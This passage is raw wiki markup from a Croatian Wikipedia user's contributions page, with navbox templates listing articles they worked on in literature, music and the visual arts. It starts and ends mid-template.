Blood, Sweat and Tears]] • [[My Story (Ronnie Kray)|My Story]] • [[In the Shadow of the Dreamchild]] • [[The Constant Gardener]]'' • "[[How Watson Learned the Trick]]" • ''[[The Adventures of Sherlock Holmes]]'' ("[[A Scandal in Bohemia]]" • "[[The Adventure of the Red-Headed League|The Red-Headed League]]" • "[[The Man with the Twisted Lip]]" • "[[The Adventure of the Copper Beeches|The Copper Beeches]]" • "[[The Adventure of the Blue Carbuncle|The Blue Carbuncle]]" • "[[The Adventure of the Speckled Band|The Speckled Band]]" • "[[The Adventure of the Noble Bachelor|The Noble Bachelor]]" • "[[The Boscombe Valley Mystery]]" • "[[A Case of Identity]]" • "[[The Adventure of the Beryl Coronet|The Beryl Coronet]]" • "[[The Adventure of the Engineer's Thumb|The Engineer's Thumb]]" • "[[The Five Orange Pips]]") • ''[[The Memoirs of Sherlock Holmes]]'' ("[[Silver Blaze]]" • "[[The Adventure of the Cardboard Box|The Cardboard Box]]" • "[[The Adventure of the Yellow Face|The Yellow Face]]" • "[[The Adventure of the Stockbroker's Clerk|The Stockbroker's Clerk]]" • "[[The Adventure of the Gloria Scott|The ''Gloria Scott'']]" • "[[The Adventure of the Reigate Squire|The Reigate Squire]]" • "[[The Adventure of the Musgrave Ritual|The Musgrave Ritual]]" • "[[The Adventure of the Crooked Man|The Crooked Man]]" • "[[The Adventure of the Resident Patient|The Resident Patient]]" • "[[The Adventure of the Greek Interpreter|The Greek Interpreter]]" • "[[The Adventure of the Naval Treaty|The Naval Treaty]]" • "[[The Final Problem]]") • ''[[The Return of Sherlock Holmes]]'' ("[[The Adventure of the Empty House|The Empty House]]" • "[[The Adventure of the Norwood Builder|The Norwood Builder]]" • "[[The Adventure of the Dancing Men|The Dancing Men]]" • "[[The Adventure of the Solitary Cyclist|The Solitary Cyclist]]" • "[[The Adventure of the Priory School|The Priory School]]" • "[[The Adventure of Black Peter|Black Peter]]" • "[[The Adventure of Charles Augustus Milverton|Charles Augustus Milverton]]" • "[[The Adventure of the Six Napoleons|The Six Napoleons]]" • "[[The Adventure of the Three Students|The Three Students]]" • "[[The Adventure of the Golden Pince-Nez|The Golden Pince-Nez]]" • "[[The Adventure of the Missing Three-Quarter|The Missing Three-Quarter]]" • "[[The Adventure of the Abbey Grange|The Abbey Grange]]" • "[[The Adventure of the Second Stain|The Second Stain]]") • ''[[His Last Bow]]'' ("[[The Adventure of Wisteria Lodge|Wisteria Lodge]]" • "[[The Adventure of the Red Circle|The Red Circle]]" • "[[The Adventure of the Bruce-Partington Plans|The Bruce-Partington Plans]]" • "[[The Adventure of the Dying Detective|The Dying Detective]]" • "[[The Disappearance of Lady Frances Carfax|Lady Frances Carfax]]" • "[[The Adventure of the Devil's Foot|The Devil's Foot]]" • "[[His Last Bow (priča)|His Last Bow]]") • ''[[The Case-Book of Sherlock Holmes]]'' ("[[The Adventure of the Mazarin Stone|The Mazarin Stone]]" • "[[The Problem of Thor Bridge|Thor Bridge]]" • "[[The Adventure of the Creeping Man|The Creeping Man]]" • "[[The Adventure of the Sussex Vampire|The Sussex Vampire]]" • "[[The Adventure of the Three Garridebs|The Three Garridebs]]" • "[[The Adventure of the Illustrious Client|The Illustrious Client]]" • "[[The Adventure of the Three Gables|The Three Gables]]" • "[[The Adventure of the Blanched Soldier|The Blanched Soldier]]" • "[[The Adventure of the Lion's Mane|The Lion's Mane]]" • "[[The Adventure of the Retired Colourman|The Retired Colourman]]" • "[[The Adventure of the Veiled Lodger|The Veiled Lodger]]" • "[[The Adventure of Shoscombe Old Place|Shoscombe Old Place]]") • ''[[The Valley of Fear]]'' • ''[[Titus Andronicus]]'' |group3 = Likovi |list3= {{Navbox subgroup | groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |group1 = Holmes |list1= [[Datoteka:LinkFA-star.png|14px]] [[Sherlock Holmes]] • [[Dr. Watson]] • [[Sebastian Moran]] • [[Inspektor Lestrade]] • [[Mycroft Holmes]] • [[Profesor Moriarty]] • [[Irene Adler]] • [[Mary Morstan]] |group2 = ''Harry Potter'' |list2= [[Sirius Black]] • [[Remus Lupin]] • [[Severus Snape]] • [[Armando Dippet]] • [[Gabrielle Delacour]] • [[Alastor Moody]] • [[Barty Crouch]] • [[Phineas Nigellus Black]] |group3 = ''Alice'' |list3= [[Jubjub]] • [[Bijeli Skakač (Through the Looking-Glass)|Bijeli Skakač]] • [[Ovca (Through the Looking-Glass)|Ovca]] • [[Crveni Kralj (Through the Looking-Glass)|Crveni Kralj]] • [[Grifon (Alice's Adventures in Wonderland)|Grifon]] • [[Alice (Alice's Adventures in Wonderland)|Alice]] • [[Ludi Šeširdžija]] • [[Gusjenica (Alice's Adventures in Wonderland)|Gusjenica]] |group4 = Christie |list4= [[Hercule Poirot]] • [[Miss Marple]] • [[Tommy i Tuppence]] • [[Viši inspektor Japp]] • [[Arthur Hastings]] • [[Parker Pyne]] • [[Ariadne Oliver]] • [[Gospođica Lemon]] }} |group4=Ostalo |list4= [[Klub Diogenes]] |below= }} ===Francuska književnost=== {{Navbox generic |titlestyle = color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja francuske književnosti |groupstyle = text-align:center; color:#FFFFFF; border:1px solid silver; |abovestyle=text-align:center; color:#FFFFFF;background:#0055A4; border:1px solid #EF4135; |belowstyle= text-align:center; color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |groupstyle = text-align:center; color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |above= [[Francuska književnost|<span style="color:white">Francuska književnost</span>]] |group1 = Pisci |list1= ''[[La Pléiade]]'' ([[Pierre de Ronsard]] • [[Joachim du Bellay]]) • [[Margarita od Navarre]] • [[Clément Marot]] • [[Théodore-Agrippa d'Aubigné]] • [[Jean de La Fontaine]] • [[Molière]] • [[Alphonse de Lamartine]] • [[Alexandre Dumas (sin)|Alexandre Dumas, ''fils'']] • [[Alexandre Dumas (otac)|Alexandre Dumas, ''père'']] • [[Datoteka:LinkFA-star.png|14px]] [[Victor Hugo]] • [[Sully Prudhomme]] • [[Frédéric Mistral]] • [[Louis Aragon]] • [[Roger Martin du Gard]] • [[Eugène Ionesco]] • [[Jean-Paul Sartre]] • [[Datoteka:LinkFA-star.png|14px]] [[Albert Camus]] • [[Jacques Prévert]] • [[François Villon]] • [[Datoteka:LinkFA-star.png|14px]] [[André Malraux]] • [[Jean Genet]] • [[Max Jacob]] • [[François-René de Chateaubriand]] • [[Pierre-Augustin Caron de Beaumarchais]] • [[George Sand]] • [[Paul Claudel]] • [[François Mauriac]] • [[Patrick Modiano]] • [[Romain Rolland]] • [[Claude Simon]] • [[Saint-John Perse]] • [[Datoteka:LinkFA-star.png|14px]] [[Jean Anouilh]] |group2 = Djela |list2= ''[[La Chanson de Roland]] • [[Roman de la Rose]] • [[L'Avare ou l'École du mensonge]] • [[Bug-Jargal]] • [[Le Rhin]] • [[Torquemada (drama)|Torquemada]] • [[L'Éducation sentimentale]] • [[Madame Bovary]] • [[Les Rougon-Macquart, Histoire naturelle et sociale d'une famille sous le Second Empire]] ''(''[[Germinal]] • [[Nana (roman)|Nana]]'')'' • [[La Nausée]] • ''[[:Kategorija:Djela Eugènea Ionescoa|djela Eugènea Ionescoa]]'' • [[En attendant Godot]]'' • ''[[À l'échelle humaine]]'' • [[:Kategorija:Djela Andréa Malrauxa|djela Andréa Malrauxa]] • ''[[Le Barbier de Séville]]'' • ''[[Le Mariage de Figaro]]'' • ''[[La Mère coupable]]'' • ''[[Hernani (drama)|Hernani]]'' • "[[Le Bateau ivre]]" • ''[[Les Fleurs du mal]]'' • [[:Kategorija:Djela Jeana Anouilha|djela Jeana Anouilha]] (osim ''Becketa''; [[Datoteka:LinkFA-star.png|14px]] ''[[Antigone]]'') |below= [[Emma Bovary|<span style="color:white">Emma Bovary</span>]] • [[Bérenger|<span style="color:white">Bérenger</span>]] }} ===Ruska književnost=== {{Navbox generic |titlestyle = color:#FFFFFF; background:red; border:1px solid #0039A6; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja ruske književnosti |abovestyle=text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |belowstyle= text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |groupstyle = text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |above= [[Ruska književnost|<span style="color:white">Ruska književnost</span>]] (nedovršeno) |group1 = Pisci |list1= [[Ivan Krilov]] • [[Ivan Gončarov]] • [[Aleksandar Blok]] • [[Isak Babelj]] • [[Andrej Platonov]] • [[Danil Harms]] • [[Mihail Šolohov]] • [[Vladimir Dudincev]] • [[Eduard Limonov]] |group2 = Djela |list2= ''[[Šinelj]] • [[Zločin i kazna]] • [[Tri sestre]]'' |below= }} ===Američka književnost=== {{Navbox generic |titlestyle = color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja američke književnosti |abovestyle=text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |belowstyle= text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |groupstyle = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |above= |group1 = Pisci |list1= [[Datoteka:LinkFA-star.png|14px]] [[Edgar Allan Poe]] ([[Datoteka:LinkFA-star.png|14px]] [[Smrt Edgara Allana Poea|smrt]] • [[Bibliografija Edgara Allana Poea|bibliografija]]) • [[Emily Dickinson]] • [[Datoteka:LinkFA-star.png|14px]] [[William Faulkner]] • [[Datoteka:LinkFA-star.png|14px]] [[H. P. Lovecraft]] ([[:Kategorija:H. P. Lovecraft|kategorija]]) |group2 = Djela |list2= ''[[The Raven]] • [[The Murders in the Rue Morgue]] • [[The Narrative of Arthur Gordon Pym of Nantucket]] • [[Adventures of Huckleberry Finn]] • [[The Da Vinci Code]] • [[Franz Kafka: The Office Writings]]'' • [[:Kategorija:Djela Williama Faulknera|djela Williama Faulknera]] |below= [[Auguste Dupin|<span style="color:white">C. Auguste Dupin</span>]] • [[Yoknapatawpha|<span style="color:white">Yoknapatawpha</span>]] • [[Obitelj Compson|<span style="color:white">Obitelj Compson</span>]] • [[Datoteka:LinkFA-star.png|14px]] [[Ono (lik)|{{color|white|Ono}}]] }} ===Japanska književnost=== {{Navbox generic |titlestyle = text-align:center; color:red; background:white; border:1px solid red; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja japanske književnosti |abovestyle=text-align:center; color:red; background:white; border:1px solid red; |belowstyle= text-align:center; color:red; background:white; border:1px solid red; |groupstyle = text-align:center; color:red; background:white; border:1px solid red; |above= |group1 = Pisci |list1= [[Chikamatsu Monzaemon]] • [[Datoteka:LinkFA-star.png|14px]] [[Edogawa Ranpo]] • [[Shūji Terayama]] • [[Project Itō]] • [[Sanjūgo Naoki]] • [[Datoteka:LinkFA-star.png|14px]] [[Osamu Dazai]] ([[Samoubojstvo Osamua Dazaija|suicid]] • [[:Kategorija:Djela Osamua Dazaija|djela]]) • [[Shizuko Ōta]] |group2 = Djela |list2= "[[Ningen Isu]]" • "[[Rashōmon]]" • ''[[Noruwei no Mori]]'' • ''[[Nihon Ōdai Ichiran]]'' • [[Bibliografija Osamua Dazaija]] ([[Datoteka:LinkFA-star.png|14px]] ''[[Ningen Shikkaku]]'') |below= [[Kogorō Akechi|{{color|red|Kogorō Akechi}}]] • ''[[Buraiha|{{color|red|Buraiha}}]]'' • [[Ja-roman|{{color|red|Ja-roman}}]] • ''[[Shayō-zoku|{{color|red|Shayō-zoku}}]]'' • [[Yōzō Ōba|{{color|red|Yōzō Ōba}}]] }} ===Ostalo=== {{Navbox generic |titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Ostali doprinosi s područja književnosti |abovestyle= |belowstyle= |groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |above= |group1 = Afrika |list1= {{Navbox subgroup |group1 = {{nowrap|{{flagicon|ANG}} Angola}} |group1style = background-color:#d81e05; color:yellow; text-align:center; border:1px solid black; |list1=[[José Luandino Vieira]] • [[Pepetela]] |group2 = {{flagicon|GAN}} Gana |group2style = text-align:center; background:yellow; color:black; border: 1px solid black; |list2=[[J. E. Casely Hayford]] |group3 = {{flagicon|TOG}} Togo |group3style = text-align:center; background:#FFCE00; color:#006A4E; border: 1px solid #006A4E; |list3=[[Félix Couchoro]] }} |group2 = Amerike |group2style = |list2= {{Navbox subgroup |group1 = {{nowrap|{{flagicon|BRA}} Brazil}} |group1style = background-color:#FFCC29; color:#3E4095; text-align:center; border:1px solid #00A859; |list1=[[Machado de Assis]] |group2 = {{nowrap|{{flagicon|KUB}} Kuba}} |group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid red; |list2=[[Nicolás Guillén]] |group3 = {{nowrap|{{flagicon|VEN}} Venezuela}} |group3style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #FCD116; |list3=[[Rufino Blanco-Fombona]] |group4 = {{nowrap|{{flagicon|HON}} Honduras}} |group4style = background-color:#0073CF; color:white; text-align:center; border:1px solid silver; |list4=[[Argentina Díaz Lozano]] • [[Froylán Turcios]] • [[Lucila Gamero de Medina]] |group5 = {{nowrap|{{flagicon|SUR}} Surinam}} |group5style = background:#C8102E; border:1px solid #007A33; color: #FFCD00; text-align:center; |list5=[[Bernardo Ashetu]] • [[Johanna Schouten-Elsenhout]] }} |group3 = Azija |group3style = |list3= {{Navbox subgroup |group1 = {{flagicon|IZR}} Izrael |group1style = text-align:center; color:blue; background:white; border:1px solid blue; |list1= [[Shmuel Yosef Agnon]] |group2 = {{flagicon|KIN}} Kina |group2style = text-align:center; background:#DD0000; color:gold; border: 1px solid silver; |list2= [[Gao Xingjian]] • [[Mo Yan]] |group3 = {{flagicon|SJKOR}} Sjeverna Koreja |group3style = text-align:center; color:white; background:red; border:1px solid #0073CF; |list3=''[[Segi wa tŏburŏ]]'' |group4 = {{flagicon|Kambodža}} Kambodža |group4style = text-align:center; background:blue; color: white; border:1px solid red; |list4=''[[Reamker]]'' • [[Preah Ko i Preah Keo]] • [[Kmerski teatar sjena]] }} |group4 = Europa |group4style = |list4= {{Navbox subgroup |group1 = {{flagicon|AUT}} Austrija |group1style = text-align:center; color:white; background:red; border:1px solid silver; |list1= [[Karl Bruckner]] |group2 = {{flagicon|ČEŠ}} Češka |group2style = text-align:center; color:white; background:#DD0000; border:1px solid #000080; |list2= {{Navbox subgroup | groupstyle = text-align:center; color:white; background:#DD0000; border:1px solid #000080; |group1 = Pisci |list1= [[Karel Čapek]] • [[Datoteka:LinkFA-star.png|14px]] [[Franz Kafka]] • [[Max Brod]] |group2 = Djela |list2= ''[[Der Process]] • ''"[[Vor dem Gesetz]]"'' • ''"[[Die Verwandlung]]"''''}} |group3 = {{flagicon|DAN}} Danska |group3style = text-align:center; background:#D21034; color:white; border: 1px solid silver; |list3=[[Johannes Vilhelm Jensen]] |group4 = {{flagicon|HRV}} Hrvatska |group4style = text-align:center; color:white; background:red; border:1px solid blue; |list4= ''[[U registraturi]]'' |group5 = {{flagicon|IRS}} Irska |group5style = text-align:center; color:white; background:green; border:1px solid silver; |list5= [[Oscar Wilde]] • [[Bram Stoker]] |group6 = {{flagicon|MAĐ}} Mađarska |group6style = color:#FFFFFF;background:#009246; border:1px solid #EF4135; |list6= [[Ferenc Molnár]] |group7 = {{flagicon|NOR}} Norveška |group7style = text-align:center; background:#EF2B2D; color:white; border: 1px solid #002868; |list7= [[Bjørnstjerne Bjørnson]] |group8 = {{flagicon|ŠVE}} Švedska |group8style = text-align:center; color:yellow; background:blue; border:1px solid yellow; |list8= [[Carl Gustaf Verner von Heidenstam]] |group9 = {{flagicon|ITA}} Italija |group9style = text-align:center; color:#FFFFFF; background:#009246; border:1px solid #EF4135; |list9= [[Giacomo Casanova]] • [[Luigi Pirandello]] • [[Dario Fo]] |group10 = {{flagicon|NJE}} Njemačka |group10style = text-align:center; color:#000000; background:#FFCC00; border:1px solid #FF0000; |list10= [[Ernst Theodor Amadeus Hoffmann]] • [[Herta Müller]] |group11 = {{flagicon|EST}} Estonija |group11style = text-align:center; color:white; background:#0072CE; border:1px solid black; |list11= {{Navbox subgroup | groupstyle = ttext-align:center; color:white; background:#0072CE; border:1px solid black; |group1 = Pisci |list1= [[Carl Robert Jakobson]] • [[Johann Voldemar Jannsen]] • [[Friedrich Reinhold Kreutzwald]] • [[Marie Under]] • [[Anton Hansen Tammsaare]] • [[Lydia Koidula]] |group2 = Djela |list2= ''[[Kalevipoeg]]''}} |group12 = {{flagicon|POLJ}} Poljska |group12style = text-align:center; color:red; background:white; border:1px solid red; |list12= [[Wisława Szymborska]] • [[Olga Tokarczuk]] • [[Władysław Reymont]] }} |group5 = Oceanija |group5style = |list5={{Navbox subgroup |group1 = {{nowrap|{{flagicon|AUS}} Australija}} |group1style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid silver; |list1= [[Banjo Paterson]] |group2 = {{nowrap|{{flagicon|FIJ}} Fidži}} |group2style = background-color:#68BFE5; color:white; text-align:center; border:1px solid silver; |list2= [[Vilsoni Hereniko]] }} |group6 = {{nowrap|Antički Rim}} |group6style = text-align:center; color:#E4D96F; background:white; border:1px solid #E4D96F; |list6 = [[Vergilije]] • [[Tit Makcije Plaut]] |below= }} ==Glazba== ===Teorija i terminologija u glazbi=== {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | title = Doprinosi s područja teorije i glazbene terminologije | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | image = | imageleft = | bodyclass = hlist | list1 = ''[[Ballets Russes]]'' • [[Muzička nagrada Léonie Sonning]] • ''[[Musique concrète]]'' • [[Datoteka:LinkFA-star.png|14px]] [[Novi val]] • [[Datoteka:LinkFA-star.png|14px]] [[Synthpop]] • [[Novi romantizam]] • ''[[Laulupidu]]'' • [[Tintinnabuli]] • [[Kawina (muzika)|Kawina]] • [[Kaseko]] |list2={{Navbox subgroup |abovestyle=background-color:#EBF5FF; color:black; text-align:center |above= '''Eurosong''' |list1={{flagicon|ŠVI}} [[Pjesma Eurovizije 1989.|1989.]] • {{flagicon|SFRJ}} [[Pjesma Eurovizije 1990.|1990.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|EST}} [[Eurosong 2002.|2002.]] • {{flagicon|TUR}} [[Pjesma Eurovizije 2004.|2004.]] • {{flagicon|GRČ}} [[Pjesma Eurovizije 2006|2006.]] • {{flagicon|FIN}} [[Pjesma Eurovizije 2007|2007.]] • {{flagicon|SRB}} [[Pjesma Eurovizije 2008.|2008.]] • {{flagicon|NOR}} [[Pjesma Eurovizije 2010.|2010.]] • {{flagicon|NJE}} [[Eurosong 2011|2011.]] • {{flagicon|AZE}} [[Eurosong 2012|2012.]] • {{flagicon|DAN}} [[Eurosong 2014|2014.]]}} }} ===Biografije=== {{Navbox generic |titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o skladateljima (po razdobljima) |abovestyle= |belowstyle= |groupstyle = |above= |group1 = Barok |group1style = text-align:center; background:#bfb1a3; color:white; border:1px solid silver; |list1= [[Georg Friedrich Händel]] |group2 = Klasicizam |group2style = background:#6495ED; color:white; border:1px solid silver; |list2= [[Jan Václav Stamic]] |group3 = Romantizam |group3style = text-align:center; background:#9955BB; color:white; border:1px solid silver; |list3= [[Vincenzo Bellini]] • [[Johann Strauss mlađi]] • [[Giacomo Meyerbeer]] • [[Cezar Antonovič Kjui]] • [[Davorin Jenko]] • [[Charles-François Gounod]] • [[Gabriel Fauré]] |group4 = XX. stoljeće |group4style = text-align:center; color:black; background:red; border:1px solid black; |list4= {{Navbox subgroup | groupstyle = text-align:center; color:black; background:red; border:1px solid black; |group1 = Impresionizam |list1= [[Maurice Ravel]] |group3 = Avangarda |list3= [[Pierre Schaeffer]] • [[Olivier Messiaen]] • [[Pierre Boulez]] |group2 = Modernizam |list2= [[Benjamin Britten]] • [[Umberto Giordano]] • [[Erik Satie]] • ''[[Les Six]]'' ([[Georges Auric|Auric]] • [[Louis Durey|Durey]] • [[Arthur Honegger|Honegger]] • [[Darius Milhaud|Milhaud]] • [[Francis Poulenc|Poulenc]] • [[Germaine Tailleferre|Tailleferre]]) • [[Ernesto Nazareth]] {{Navbox subgroup | groupstyle = text-align:center; color:black; background:red; border:1px solid black; |group1 = Neoklasicizam |list1= [[Datoteka:LinkFA-star.png|14px]] [[Dmitrij Šostakovič]] • [[Igor Stravinski]] |group2 = Ekspresionizam |list2= [[Arnold Schönberg]] • [[Anton Webern]] • [[Alban Berg]] }} |group5 = Ostalo |list5= [[Władysław Szpilman]] • [[Alfi Kabiljo]] • [[Arvo Pärt]] }} |below= }} {{Navbox generic |titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o pop izvođačima |abovestyle= |belowstyle= |groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |above= |group1 = Solisti |list1= [[Ringo Starr]] • [[Jem]] • [[Mark Hollis]] • [[Rob Thomas]] • [[Gloria Estefan]] • [[Celia Cruz]] • [[Hajrudin Varešanović]] • [[Marija Šestić]] • [[Sandra Nurmsalu]] • [[Ott Lepland]] • [[Kurt Calleja]] • [[Petar Nalič]] • [[Dima Bilan]] • [[Aleksej Vorobjov]] • [[Kōji Wada]] • [[Ajumi Mijazaki]] • [[Ai Maeda (pjevačica)|Ai Maeda]] • [[Hitomi Shimatani]] • [[Akiko Shikata]] • [[Yūgo Kanno]] • [[Tōru Kitajima]] ([[:Kategorija:TK from 凛として時雨|diskografija]]) • [[Jelena Tomašević]] • [[Milan Stanković]] • [[Harel Skaat]] • [[K'naan]] • [[Jessy Matador]] • [[Amaury Vassili]] • [[Stereo Mike]] • [[Loukas Giorkas]] • [[Lena Meyer-Landrut]] • [[Frank Schindel]] • [[Andy Knote]] • [[Stefan Raab]] • [[Milli Vanilli]] • [[Gréta Salóme Stefánsdóttir]] • [[Jón Jósep Snæbjörnsson]] • [[Olia Tira]] • [[Ivi Adamou]] • [[Emmelie de Forest]] • [[Daniel Jones]] • [[Darren Hayes]] • [[Knez (pjevač)|Knez]] • [[Hayley Westenra]] • [[Lorde]] • [[Kimbra]] • [[Sinn Sisamouth]] • [[Ros Serey Sothea]] • [[Angélique Kidjo]] • [[Tanel Padar]] • [[Dave Benton]] • [[Liam Payne]] • [[Miyoko Nakamura]] • [[Masatoshi Nakano]] • [[Dara (bugarska pjevačica)|Dara]] |group2 = Bendovi |list2= [[Blue]] • [[Datoteka:LinkFA-star.png|14px]] [[Talk Talk]] • [[The Beach Boys]] • [[The Byrds]] • [[Toto (sastav)|Toto]] • [[Regina (bend)|Regina]] • [[Urban Symphony]] • [[maNga]] • [[Glazbena družina Petra Naliča]] • [[A Friend In London]] • [[Aqua Timez]] • [[Datoteka:LinkFA-star.png|14px]] [[Ling Tosite Sigure]] • [[EGOIST]] • [[Nothing's Carved in Stone]] • [[Savage Garden]] • [[Nick Cave and the Bad Seeds]] • [[Quasarr]] • [[Moranbong Band]] • [[OMC (bend)|OMC]] • [[U pol’ 9 kod Sabe]] • [[Soul Militia]] }} === Opus === {{Navbox generic |titlestyle = color:white; background:#E34234; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz kompozicije |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:white;background:#E34234; border:1px solid silver; |belowstyle= text-align:center; color:white; background:#E34234; border:1px solid silver; |groupstyle = text-align:center; color:white; background:#E34234; border:1px solid silver; |above= |group1 = Opere |list1= ''[[Trubadur (opera)|Il trovatore]]'' • [[Korejska revolucionarna opera]] (''[[Kkot panŭn ch'ŏnyŏ]]'' • ''[[P'ibada]]'') |group2 = Baleti |list2= ''[[Žar-ptica]] • [[Posvećenje proljeća]] • [[Petruška]]'' |group3 = Instrumentalna djela |list3= ''[[Islamej]] • [[Boléro]]'' |group4 = Himne |list4= "[[Kimigayo]]" • "[[Noble patria, tu hermosa bandera]]" • "[[God Bless Our Homeland Ghana]]" • "[[Advance Australia Fair]]" • "[[Hino Nacional Brasileiro]]" • "[[Aegukka]]" • "[[La Bayamesa]]" • "[[Angola Avante]]" • "[[God Defend New Zealand]]" • "[[Gloria al Bravo Pueblo]]" • "[[Nokor Reach]]" • "[[Pjesma Kmerske Republike]]" • "[[Dap Prampi Mesa Chokchey]]" • "[[Himna Narodne Republike Kampućije]]" • "[[Državna himna Hondurasa]]" • "[[L'Aube Nouvelle]]" • "[[God Bless Fiji]]" • "[[Mu isamaa, mu õnn ja rõõm]]" • "[[Himna Estonske Sovjetske Socijalističke Republike]]" • "[[God zij met ons Suriname]]" • "[[Majulah Singapura]]" • "[[Himno Istmeño]]" |below= }} {{Navbox generic |titlestyle = color:white; background:#E34234; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz pop skladbe |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:white;background:#E34234; border:1px solid silver; |belowstyle= text-align:center; color:white; background:#E34234; border:1px solid silver; |groupstyle = text-align:center; color:white; background:#E34234; border:1px solid silver; |above= |group1 = Albumi |list1= ''[[Vrijeme je]] • [[Kad poludimo]] • [[Kad pogledaš me preko ramena]] • [[Sreća (Hari Mata Hari)|Sreća]] • [[Umineko no Naku Koro ni (EP)|Umineko no Naku Koro ni]]'' • ''[[Hotel Nacional (album)|Hotel Nacional]]'' • ''[[Girl You Know It's True (album)|Girl You Know It's True]]'' • [[:Kategorija:Albumi benda Ling tosite sigure|albumi benda Ling tosite sigure]] • [[:Kategorija:Albumi benda Talk Talk|albumi benda Talk Talk]] |group2 = Pjesme |list2= "[[Russians]]" • "[[Wavin' Flag]]" • "[[Manijači]]" • "[[Molitva (pjesma)|Molitva]]" • "[[Rijeka bez imena]]" • "[[Vjerujem u ljubav]]" • "[[I love you mi vida]]" • "[[Lejla]]" • "[[Oro (pjesma)|Oro]]" • "[[Bistra voda]]" • "[[Rändajad]]" • "[[Lane moje]]" • "[[La La Love]]" • "[[Never Forget]]" • "[[Satellite (pjesma Lene Meyer-Landrut)|Satellite]]" • "[[Lost and Forgotten]]" • "[[Ovo je Balkan]]" • "[[Milim]]" • "[[What's Another Year?]]" • "[[Rock me]]" • "[[Lako je sve (pjesma)|Lako je sve]]" • "[[Zauvijek moja]]" • "[[Wadde hadde dudde da?]]" • "[[Love in Rewind]]" • "[[Hold Me Now]]" • "[[We Could Be the Same]]" • "[[Allez Ola]]" • "[[Everybody (pjesma)|Everybody]]" • "[[Refrain]]" • "[[Munja i grom]]" • "[[Korake ti znam]]" • "[[Party for Everybody]]" • "[[Crno i belo]]" • "[[Kuula (pjesma)|Kuula]]" • "[[This is the Night (pjesma Kurta Calleje)|This is the Night]]" • "[[Only Teardrops]]" • "[[Tomorrow (pjesma Gianluce Bezzine)|Tomorrow]]" • "[[Moja ljubavi]]" • "[[Svadbarskim sokakom]]" • [[:Kategorija:Pjesme benda Ling tosite sigure|pjesme benda Ling tosite sigure]] • [[:Kategorija:Pjesme benda Talk Talk|pjesme benda Talk Talk]] • "[[Adio (pjesma)|Adio]]" • "[[How Bizarre (pjesma)|How Bizzare]]" • "[[Cambodia (pjesma)|Cambodia]]" • "[[Bangaranga]]" |group4 = Instrumentalna djela |list4= |group3 = OST |list3= "[[Butter-Fly]]" • "[[brave heart]]" • "[[keep On]]" • "[[I wish]]" • "[[Katayoku no Tori]]" • "[[VII (pjesma)|VII]]" |below= }} ==Likovna umjetnost== ===Umjetnici=== {{Navbox generic |titlestyle = text-align:center; color:#702963; background: #DF73FF; border:1px solid #702963; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz umjetnike |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Slikari<br>Ilustratori/Crtači |group1style = text-align:center; color:#882D17; background:#CC7722; border:1px solid #882D17; |list1= [[Datoteka:LinkFA-star.png|14px]] [[Salvador Dalí]] • [[Egon Schiele]] • [[Gustav Klimt]] • [[Kazimir Maljevič]] • [[Vasilij Kandinski]] • [[Georges Braque]] • [[Datoteka:LinkFA-star.png|14px]] [[Piet Mondrian]] • [[Georges Seurat]] • [[John Tenniel]] • [[Isaak Brodskij]] • [[Dmitrij Vrubelj]] • [[Sidney Paget]] • [[Gonzalo Morales Sáurez]] • [[Albert Namatjira]] • [[Paul Signac]] • [[Pedro Américo]] • [[Akira Amano]] • [[Arturo Michelena]] • [[Martín Tovar y Tovar]] • [[Kristjan Raud]] • [[Paul Raud]] |group2 = Kipari<br>Dizajneri |group2style = text-align:center; color:#C04000; background:#FF7E00; border:1px solid #C04000; |list2= [[Auguste Rodin]] • [[Gustav Fabergé]] • [[Petar Karl Fabergé]] • [[Leonid Sherwood]] • [[Yves Saint Laurent]] • [[Jesús Rafael Soto]] |group3 = Arhitekti |group3style = text-align:center; color:#555555; background:#E5E4E2; border:1px solid #555555; |list3= [[Frank Lloyd Wright]] • [[Ibo Bonilla]] • [[Carlos Raúl Villanueva]] |group4 = Fotografi |group4style = text-align:center; color:black; background:white; border:1px solid black; |list4= [[Félix Nadar]] • [[Alberto Korda]] |below= }} ===Umjetnost=== {{Navbox generic |titlestyle 